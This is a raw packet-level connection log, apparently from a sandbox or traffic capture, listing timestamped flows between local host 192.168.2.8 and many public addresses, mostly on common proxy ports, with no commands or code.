Feb 23, 2024 14:28:23.288480997 CET	50089	8080	192.168.2.8	46.209.54.102
Feb 23, 2024 14:28:23.288480997 CET	49980	3128	192.168.2.8	178.252.170.222
Feb 23, 2024 14:28:23.288482904 CET	49974	8080	192.168.2.8	200.229.224.221
Feb 23, 2024 14:28:23.288480997 CET	49976	8089	192.168.2.8	117.69.237.183
Feb 23, 2024 14:28:23.288516998 CET	49983	80	192.168.2.8	159.8.114.37
Feb 23, 2024 14:28:23.288520098 CET	49984	49153	192.168.2.8	178.18.248.104
Feb 23, 2024 14:28:23.288553953 CET	17719	50704	67.43.227.228	192.168.2.8
Feb 23, 2024 14:28:23.288702011 CET	45203	50652	192.169.213.167	192.168.2.8
Feb 23, 2024 14:28:23.289108038 CET	50811	8181	192.168.2.8	103.180.198.162
Feb 23, 2024 14:28:23.289458990 CET	50812	128	192.168.2.8	187.40.1.122
Feb 23, 2024 14:28:23.290179014 CET	50813	8080	192.168.2.8	179.108.209.63
Feb 23, 2024 14:28:23.290199995 CET	32175	50237	67.43.236.19	192.168.2.8
Feb 23, 2024 14:28:23.290512085 CET	5032	50308	45.11.95.165	192.168.2.8
Feb 23, 2024 14:28:23.290565014 CET	5032	50308	45.11.95.165	192.168.2.8
Feb 23, 2024 14:28:23.290599108 CET	50308	5032	192.168.2.8	45.11.95.165
Feb 23, 2024 14:28:23.291439056 CET	41866	50509	141.94.174.6	192.168.2.8
Feb 23, 2024 14:28:23.291496038 CET	50814	8089	192.168.2.8	58.219.248.202
Feb 23, 2024 14:28:23.292130947 CET	50816	59656	192.168.2.8	141.95.160.178
Feb 23, 2024 14:28:23.292134047 CET	50815	5032	192.168.2.8	45.11.95.165
Feb 23, 2024 14:28:23.293056011 CET	3129	50586	20.204.190.254	192.168.2.8
Feb 23, 2024 14:28:23.293154001 CET	50586	3129	192.168.2.8	20.204.190.254
Feb 23, 2024 14:28:23.293545961 CET	50586	3129	192.168.2.8	20.204.190.254
Feb 23, 2024 14:28:23.293697119 CET	50818	31654	192.168.2.8	98.162.25.4
Feb 23, 2024 14:28:23.294857979 CET	50820	80	192.168.2.8	104.16.195.74
Feb 23, 2024 14:28:23.294858932 CET	50819	29631	192.168.2.8	161.97.163.52
Feb 23, 2024 14:28:23.295413017 CET	80	50623	104.23.100.73	192.168.2.8
Feb 23, 2024 14:28:23.295484066 CET	80	50623	104.23.100.73	192.168.2.8
Feb 23, 2024 14:28:23.295639038 CET	50821	8089	192.168.2.8	125.87.90.216
Feb 23, 2024 14:28:23.295738935 CET	80	50623	104.23.100.73	192.168.2.8
Feb 23, 2024 14:28:23.295749903 CET	50623	80	192.168.2.8	104.23.100.73
Feb 23, 2024 14:28:23.295792103 CET	50623	80	192.168.2.8	104.23.100.73
Feb 23, 2024 14:28:23.297115088 CET	50822	3180	192.168.2.8	45.179.71.90
Feb 23, 2024 14:28:23.298033953 CET	4145	50463	142.54.228.193	192.168.2.8
Feb 23, 2024 14:28:23.298082113 CET	4145	50463	142.54.228.193	192.168.2.8
Feb 23, 2024 14:28:23.298583984 CET	50823	1976	192.168.2.8	41.65.236.35
Feb 23, 2024 14:28:23.299014091 CET	50824	5018	192.168.2.8	159.203.137.249
Feb 23, 2024 14:28:23.299400091 CET	20132	50700	54.39.50.68	192.168.2.8
Feb 23, 2024 14:28:23.299402952 CET	50825	4145	192.168.2.8	142.54.228.193
Feb 23, 2024 14:28:23.299607992 CET	50700	20132	192.168.2.8	54.39.50.68
Feb 23, 2024 14:28:23.299905062 CET	50700	20132	192.168.2.8	54.39.50.68
Feb 23, 2024 14:28:23.300189972 CET	50826	40838	192.168.2.8	50.63.12.33
Feb 23, 2024 14:28:23.301058054 CET	50827	80	192.168.2.8	143.110.232.177
Feb 23, 2024 14:28:23.301059008 CET	50828	80	192.168.2.8	4.144.136.15
Feb 23, 2024 14:28:23.301527023 CET	80	50632	185.162.228.128	192.168.2.8
Feb 23, 2024 14:28:23.301537991 CET	50829	3128	192.168.2.8	178.62.229.28
Feb 23, 2024 14:28:23.301562071 CET	80	50632	185.162.228.128	192.168.2.8
Feb 23, 2024 14:28:23.301621914 CET	80	50711	50.169.23.170	192.168.2.8
Feb 23, 2024 14:28:23.301659107 CET	80	50632	185.162.228.128	192.168.2.8
Feb 23, 2024 14:28:23.301727057 CET	50632	80	192.168.2.8	185.162.228.128
Feb 23, 2024 14:28:23.301819086 CET	50632	80	192.168.2.8	185.162.228.128
Feb 23, 2024 14:28:23.302427053 CET	50830	80	192.168.2.8	162.243.95.8
Feb 23, 2024 14:28:23.302881956 CET	4145	50572	199.229.254.129	192.168.2.8
Feb 23, 2024 14:28:23.302934885 CET	4145	50572	199.229.254.129	192.168.2.8
Feb 23, 2024 14:28:23.303307056 CET	80	50633	185.225.232.191	192.168.2.8
Feb 23, 2024 14:28:23.303479910 CET	50633	80	192.168.2.8	185.225.232.191
Feb 23, 2024 14:28:23.303829908 CET	50633	80	192.168.2.8	185.225.232.191
Feb 23, 2024 14:28:23.304084063 CET	49787	1080	192.168.2.8	202.78.160.118
Feb 23, 2024 14:28:23.304085970 CET	49973	3129	192.168.2.8	85.235.184.186
Feb 23, 2024 14:28:23.304089069 CET	49972	80	192.168.2.8	62.33.207.202
Feb 23, 2024 14:28:23.304095030 CET	49977	3128	192.168.2.8	220.194.189.144
Feb 23, 2024 14:28:23.304095984 CET	49985	61743	192.168.2.8	109.238.12.156
Feb 23, 2024 14:28:23.304096937 CET	50225	61221	192.168.2.8	177.190.192.57
Feb 23, 2024 14:28:23.304105997 CET	49981	8080	192.168.2.8	212.252.66.209
Feb 23, 2024 14:28:23.304105997 CET	49991	5678	192.168.2.8	177.72.82.9
Feb 23, 2024 14:28:23.304121971 CET	49982	3128	192.168.2.8	12.156.45.155
Feb 23, 2024 14:28:23.304125071 CET	50103	8080	192.168.2.8	45.136.197.139
Feb 23, 2024 14:28:23.304143906 CET	49992	3128	192.168.2.8	103.244.163.197
Feb 23, 2024 14:28:23.304143906 CET	49993	32284	192.168.2.8	185.129.250.183
Feb 23, 2024 14:28:23.304661036 CET	50831	4145	192.168.2.8	199.229.254.129
Feb 23, 2024 14:28:23.305243969 CET	50832	9090	192.168.2.8	209.250.230.101
Feb 23, 2024 14:28:23.306154013 CET	50834	80	192.168.2.8	175.183.82.221
Feb 23, 2024 14:28:23.306154013 CET	50833	4145	192.168.2.8	192.252.220.89
Feb 23, 2024 14:28:23.306674957 CET	50835	8088	192.168.2.8	179.43.8.16
Feb 23, 2024 14:28:23.307425022 CET	50836	80	192.168.2.8	134.122.26.11
Feb 23, 2024 14:28:23.308018923 CET	50837	57728	192.168.2.8	70.166.167.38
Feb 23, 2024 14:28:23.308402061 CET	80	50642	188.114.99.171	192.168.2.8
Feb 23, 2024 14:28:23.308443069 CET	50838	80	192.168.2.8	35.243.227.100
Feb 23, 2024 14:28:23.308450937 CET	9741	50492	94.142.137.203	192.168.2.8
Feb 23, 2024 14:28:23.308463097 CET	9741	50492	94.142.137.203	192.168.2.8
Feb 23, 2024 14:28:23.308931112 CET	80	50642	188.114.99.171	192.168.2.8
Feb 23, 2024 14:28:23.309174061 CET	50642	80	192.168.2.8	188.114.99.171
Feb 23, 2024 14:28:23.310473919 CET	80	50642	188.114.99.171	192.168.2.8
Feb 23, 2024 14:28:23.310563087 CET	50642	80	192.168.2.8	188.114.99.171
Feb 23, 2024 14:28:23.310935974 CET	80	50722	50.217.226.41	192.168.2.8
Feb 23, 2024 14:28:23.311650991 CET	80	50647	104.21.64.208	192.168.2.8
Feb 23, 2024 14:28:23.311723948 CET	80	50647	104.21.64.208	192.168.2.8
Feb 23, 2024 14:28:23.313112020 CET	80	50647	104.21.64.208	192.168.2.8
Feb 23, 2024 14:28:23.313177109 CET	80	50648	172.67.182.38	192.168.2.8
Feb 23, 2024 14:28:23.313227892 CET	3128	49775	34.29.41.58	192.168.2.8
Feb 23, 2024 14:28:23.313281059 CET	50647	80	192.168.2.8	104.21.64.208
Feb 23, 2024 14:28:23.313462973 CET	80	50648	172.67.182.38	192.168.2.8
Feb 23, 2024 14:28:23.313519955 CET	80	50005	50.239.72.18	192.168.2.8
Feb 23, 2024 14:28:23.313617945 CET	80	50648	172.67.182.38	192.168.2.8
Feb 23, 2024 14:28:23.313963890 CET	80	50750	104.18.81.76	192.168.2.8
Feb 23, 2024 14:28:23.314081907 CET	50750	80	192.168.2.8	104.18.81.76
Feb 23, 2024 14:28:23.314084053 CET	50648	80	192.168.2.8	172.67.182.38
Feb 23, 2024 14:28:23.314363956 CET	50648	80	192.168.2.8	172.67.182.38
Feb 23, 2024 14:28:23.314824104 CET	80	50598	50.200.12.80	192.168.2.8
Feb 23, 2024 14:28:23.315593004 CET	50647	80	192.168.2.8	104.21.64.208
Feb 23, 2024 14:28:23.315983057 CET	50750	80	192.168.2.8	104.18.81.76
Feb 23, 2024 14:28:23.316390991 CET	50839	4145	192.168.2.8	103.58.16.233
Feb 23, 2024 14:28:23.317090034 CET	49853	14681	192.168.2.8	67.43.227.227
Feb 23, 2024 14:28:23.317096949 CET	50088	15673	192.168.2.8	43.128.155.154
Feb 23, 2024 14:28:23.317110062 CET	50252	80	192.168.2.8	149.202.172.113
Feb 23, 2024 14:28:23.317111015 CET	49990	5678	192.168.2.8	139.255.86.226
Feb 23, 2024 14:28:23.317147970 CET	49857	1731	192.168.2.8	72.10.164.178
Feb 23, 2024 14:28:23.317255974 CET	80	50567	47.250.46.217	192.168.2.8
Feb 23, 2024 14:28:23.317471981 CET	50567	80	192.168.2.8	47.250.46.217
Feb 23, 2024 14:28:23.317634106 CET	6764	50429	198.105.111.86	192.168.2.8
Feb 23, 2024 14:28:23.317760944 CET	6764	50429	198.105.111.86	192.168.2.8
Feb 23, 2024 14:28:23.318078995 CET	50567	80	192.168.2.8	47.250.46.217
Feb 23, 2024 14:28:23.318255901 CET	50429	6764	192.168.2.8	198.105.111.86
Feb 23, 2024 14:28:23.318255901 CET	50429	6764	192.168.2.8	198.105.111.86
Feb 23, 2024 14:28:23.318969011 CET	80	49968	154.113.121.60	192.168.2.8
Feb 23, 2024 14:28:23.319345951 CET	2604	50075	162.214.67.122	192.168.2.8
Feb 23, 2024 14:28:23.319653988 CET	9050	50240	198.27.82.161	192.168.2.8
Feb 23, 2024 14:28:23.319716930 CET	50258	45248	192.168.2.8	166.62.121.127
Feb 23, 2024 14:28:23.319734097 CET	49999	1080	192.168.2.8	180.210.222.201
Feb 23, 2024 14:28:23.319736004 CET	49998	999	192.168.2.8	131.100.48.105
Feb 23, 2024 14:28:23.319736004 CET	49996	34409	192.168.2.8	212.110.188.202
Feb 23, 2024 14:28:23.320017099 CET	50001	5678	192.168.2.8	190.188.244.84
Feb 23, 2024 14:28:23.322679996 CET	4145	49887	98.188.47.132	192.168.2.8
Feb 23, 2024 14:28:23.322778940 CET	80	50187	50.173.140.147	192.168.2.8
Feb 23, 2024 14:28:23.322932005 CET	49887	4145	192.168.2.8	98.188.47.132
Feb 23, 2024 14:28:23.329822063 CET	49887	4145	192.168.2.8	98.188.47.132
Feb 23, 2024 14:28:23.330059052 CET	50840	53304	192.168.2.8	96.9.86.70
Feb 23, 2024 14:28:23.331967115 CET	50841	1080	192.168.2.8	138.36.150.28
Feb 23, 2024 14:28:23.332030058 CET	80	50764	104.23.107.172	192.168.2.8
Feb 23, 2024 14:28:23.332233906 CET	50764	80	192.168.2.8	104.23.107.172
Feb 23, 2024 14:28:23.332444906 CET	50764	80	192.168.2.8	104.23.107.172
Feb 23, 2024 14:28:23.334080935 CET	3128	49987	18.135.211.182	192.168.2.8
Feb 23, 2024 14:28:23.334111929 CET	50842	80	192.168.2.8	213.33.2.28
Feb 23, 2024 14:28:23.334386110 CET	80	50662	172.64.152.98	192.168.2.8
Feb 23, 2024 14:28:23.334444046 CET	80	50662	172.64.152.98	192.168.2.8
Feb 23, 2024 14:28:23.334794044 CET	50662	80	192.168.2.8	172.64.152.98
Feb 23, 2024 14:28:23.335050106 CET	8080	50468	176.98.81.85	192.168.2.8
Feb 23, 2024 14:28:23.335108042 CET	8080	50468	176.98.81.85	192.168.2.8
Feb 23, 2024 14:28:23.335171938 CET	80	50662	172.64.152.98	192.168.2.8
Feb 23, 2024 14:28:23.335215092 CET	50843	8080	192.168.2.8	103.243.114.206
Feb 23, 2024 14:28:23.335340977 CET	49865	10121	192.168.2.8	72.10.164.178
Feb 23, 2024 14:28:23.335340977 CET	49995	60808	192.168.2.8	61.216.156.222
Feb 23, 2024 14:28:23.335356951 CET	50247	25323	192.168.2.8	75.119.145.169
Feb 23, 2024 14:28:23.335356951 CET	50245	63551	192.168.2.8	62.171.131.101
Feb 23, 2024 14:28:23.335356951 CET	50002	3128	192.168.2.8	154.201.62.43
Feb 23, 2024 14:28:23.335640907 CET	50662	80	192.168.2.8	172.64.152.98
Feb 23, 2024 14:28:23.337363005 CET	7497	50494	167.71.220.29	192.168.2.8
Feb 23, 2024 14:28:23.337822914 CET	50844	8080	192.168.2.8	176.98.81.85
Feb 23, 2024 14:28:23.338260889 CET	50845	35860	192.168.2.8	212.3.112.128
Feb 23, 2024 14:28:23.338723898 CET	8089	50531	111.225.152.162	192.168.2.8
Feb 23, 2024 14:28:23.340370893 CET	80	50778	45.12.31.104	192.168.2.8
Feb 23, 2024 14:28:23.340409040 CET	50846	4479	192.168.2.8	67.43.227.227
Feb 23, 2024 14:28:23.340517998 CET	50778	80	192.168.2.8	45.12.31.104
Feb 23, 2024 14:28:23.340797901 CET	50778	80	192.168.2.8	45.12.31.104
Feb 23, 2024 14:28:23.341171980 CET	8443	50114	71.19.249.97	192.168.2.8
Feb 23, 2024 14:28:23.341206074 CET	50847	31428	192.168.2.8	185.45.73.227
Feb 23, 2024 14:28:23.341392994 CET	49579	50334	162.19.7.46	192.168.2.8
Feb 23, 2024 14:28:23.342075109 CET	49579	50334	162.19.7.46	192.168.2.8
Feb 23, 2024 14:28:23.342140913 CET	50848	8080	192.168.2.8	103.156.75.152
Feb 23, 2024 14:28:23.342262030 CET	80	50613	85.12.214.148	192.168.2.8
Feb 23, 2024 14:28:23.342284918 CET	50334	49579	192.168.2.8	162.19.7.46
Feb 23, 2024 14:28:23.342341900 CET	50613	80	192.168.2.8	85.12.214.148
Feb 23, 2024 14:28:23.342407942 CET	50334	49579	192.168.2.8	162.19.7.46
Feb 23, 2024 14:28:23.343858004 CET	3129	49922	20.219.177.85	192.168.2.8
Feb 23, 2024 14:28:23.343888998 CET	50613	80	192.168.2.8	85.12.214.148
Feb 23, 2024 14:28:23.345103025 CET	80	50599	190.128.228.182	192.168.2.8
Feb 23, 2024 14:28:23.345254898 CET	50599	80	192.168.2.8	190.128.228.182
Feb 23, 2024 14:28:23.345448971 CET	34432	50363	43.250.81.154	192.168.2.8
Feb 23, 2024 14:28:23.345597982 CET	50599	80	192.168.2.8	190.128.228.182
Feb 23, 2024 14:28:23.345779896 CET	49922	3129	192.168.2.8	20.219.177.85
Feb 23, 2024 14:28:23.346700907 CET	50849	58754	192.168.2.8	92.204.135.4
Feb 23, 2024 14:28:23.347425938 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.347557068 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.347589016 CET	50850	80	192.168.2.8	153.19.91.77
Feb 23, 2024 14:28:23.347621918 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.347641945 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.347652912 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.347682953 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.347701073 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.347714901 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.347739935 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.347759008 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.347768068 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.347814083 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.347820997 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.347830057 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.347841978 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.347887993 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.347896099 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.347903013 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.347915888 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.347933054 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.347965002 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.347965956 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.347986937 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.347995043 CET	4145	50695	142.54.235.9	192.168.2.8
Feb 23, 2024 14:28:23.348067045 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.348514080 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.348603964 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.348665953 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.348696947 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.348718882 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.348762035 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.348824024 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.348972082 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.349001884 CET	50851	3128	192.168.2.8	66.29.154.103
Feb 23, 2024 14:28:23.349046946 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.349082947 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.349162102 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.349189043 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.349211931 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.349313021 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.349322081 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.349338055 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.349381924 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.349390030 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.349406004 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.349406004 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.349406004 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.349430084 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.349459887 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.349479914 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.349482059 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.349500895 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.349553108 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.349582911 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.349590063 CET	6432	49924	209.145.56.51	192.168.2.8
Feb 23, 2024 14:28:23.349611998 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.349611998 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.349653006 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.349657059 CET	49924	6432	192.168.2.8	209.145.56.51
Feb 23, 2024 14:28:23.349668980 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.349675894 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.349699974 CET	4228	50048	5.161.219.13	192.168.2.8
Feb 23, 2024 14:28:23.349706888 CET	1080	49852	45.185.236.254	192.168.2.8
Feb 23, 2024 14:28:23.349733114 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.349770069 CET	50048	4228	192.168.2.8	5.161.219.13
Feb 23, 2024 14:28:23.349877119 CET	49924	6432	192.168.2.8	209.145.56.51
Feb 23, 2024 14:28:23.350970030 CET	50144	5002	192.168.2.8	8.210.60.44
Feb 23, 2024 14:28:23.350970984 CET	50183	80	192.168.2.8	34.135.166.24
Feb 23, 2024 14:28:23.350987911 CET	50097	4145	192.168.2.8	58.240.192.158
Feb 23, 2024 14:28:23.350991011 CET	50004	8080	192.168.2.8	103.55.33.59
Feb 23, 2024 14:28:23.350991011 CET	49864	80	192.168.2.8	50.170.90.24
Feb 23, 2024 14:28:23.351006031 CET	49776	3128	192.168.2.8	193.107.104.57
Feb 23, 2024 14:28:23.352579117 CET	11351	50249	72.10.160.90	192.168.2.8
Feb 23, 2024 14:28:23.354389906 CET	80	50689	104.16.108.204	192.168.2.8
Feb 23, 2024 14:28:23.354441881 CET	80	50689	104.16.108.204	192.168.2.8
Feb 23, 2024 14:28:23.354726076 CET	50689	80	192.168.2.8	104.16.108.204
Feb 23, 2024 14:28:23.355068922 CET	80	50689	104.16.108.204	192.168.2.8
Feb 23, 2024 14:28:23.355144978 CET	50689	80	192.168.2.8	104.16.108.204
Feb 23, 2024 14:28:23.355309963 CET	80	50706	50.222.245.42	192.168.2.8
Feb 23, 2024 14:28:23.355652094 CET	8443	50266	101.231.64.89	192.168.2.8
Feb 23, 2024 14:28:23.355717897 CET	50266	8443	192.168.2.8	101.231.64.89
Feb 23, 2024 14:28:23.355998993 CET	50266	8443	192.168.2.8	101.231.64.89
Feb 23, 2024 14:28:23.356221914 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.356302023 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.356432915 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.356456041 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.356465101 CET	80	50707	50.172.75.124	192.168.2.8
Feb 23, 2024 14:28:23.357939005 CET	8443	50266	101.231.64.89	192.168.2.8
Feb 23, 2024 14:28:23.358309984 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.358354092 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.358369112 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.358429909 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.358437061 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.358437061 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.358881950 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.359025955 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.359049082 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.359061956 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.359127998 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.359647036 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.359654903 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.359689951 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.359698057 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.359709978 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.359716892 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.359776974 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.360272884 CET	3128	49841	84.17.35.129	192.168.2.8
Feb 23, 2024 14:28:23.360440016 CET	9764	50797	162.243.102.207	192.168.2.8
Feb 23, 2024 14:28:23.360498905 CET	50797	9764	192.168.2.8	162.243.102.207
Feb 23, 2024 14:28:23.361000061 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.361008883 CET	50797	9764	192.168.2.8	162.243.102.207
Feb 23, 2024 14:28:23.361072063 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.361272097 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.361306906 CET	8000	49839	159.65.217.197	192.168.2.8
Feb 23, 2024 14:28:23.362077951 CET	50852	8443	192.168.2.8	101.231.64.89
Feb 23, 2024 14:28:23.362096071 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.362119913 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.362165928 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.362173080 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.362190008 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.362224102 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.362236977 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.362248898 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.362296104 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.362324953 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.362325907 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.362345934 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.362390995 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.362394094 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.362394094 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.362432003 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.362452984 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.362514019 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.362521887 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.362541914 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.362597942 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.362603903 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.362607002 CET	80	50226	50.223.239.185	192.168.2.8
Feb 23, 2024 14:28:23.362679958 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.362690926 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.362699032 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.362711906 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.362860918 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.364042044 CET	50853	33302	192.168.2.8	107.180.101.18
Feb 23, 2024 14:28:23.364399910 CET	50854	80	192.168.2.8	141.147.9.254
Feb 23, 2024 14:28:23.365705967 CET	15673	50352	43.153.133.208	192.168.2.8
Feb 23, 2024 14:28:23.365950108 CET	50855	80	192.168.2.8	165.227.0.192
Feb 23, 2024 14:28:23.366591930 CET	50006	18636	192.168.2.8	51.79.87.144
Feb 23, 2024 14:28:23.366595984 CET	50276	20627	192.168.2.8	67.43.236.20
Feb 23, 2024 14:28:23.366600990 CET	50007	4153	192.168.2.8	45.233.3.1
Feb 23, 2024 14:28:23.366606951 CET	50008	3128	192.168.2.8	154.202.114.154
Feb 23, 2024 14:28:23.366698027 CET	50014	7890	192.168.2.8	115.171.217.48
Feb 23, 2024 14:28:23.366700888 CET	50009	5678	192.168.2.8	116.212.144.223
Feb 23, 2024 14:28:23.366874933 CET	13326	50716	141.94.174.6	192.168.2.8
Feb 23, 2024 14:28:23.367314100 CET	50716	13326	192.168.2.8	141.94.174.6
Feb 23, 2024 14:28:23.367575884 CET	50716	13326	192.168.2.8	141.94.174.6
Feb 23, 2024 14:28:23.367577076 CET	50856	8981	192.168.2.8	207.180.219.93
Feb 23, 2024 14:28:23.367978096 CET	25639	50262	67.43.227.226	192.168.2.8
Feb 23, 2024 14:28:23.368766069 CET	10820	50649	88.255.217.49	192.168.2.8
Feb 23, 2024 14:28:23.368808985 CET	50857	32947	192.168.2.8	167.86.69.142
Feb 23, 2024 14:28:23.370651007 CET	50858	35072	192.168.2.8	141.94.174.6
Feb 23, 2024 14:28:23.370995045 CET	15673	50352	43.153.133.208	192.168.2.8
Feb 23, 2024 14:28:23.371453047 CET	80	50801	172.67.182.102	192.168.2.8
Feb 23, 2024 14:28:23.371526003 CET	50859	1080	192.168.2.8	103.54.148.34
Feb 23, 2024 14:28:23.371659994 CET	50801	80	192.168.2.8	172.67.182.102
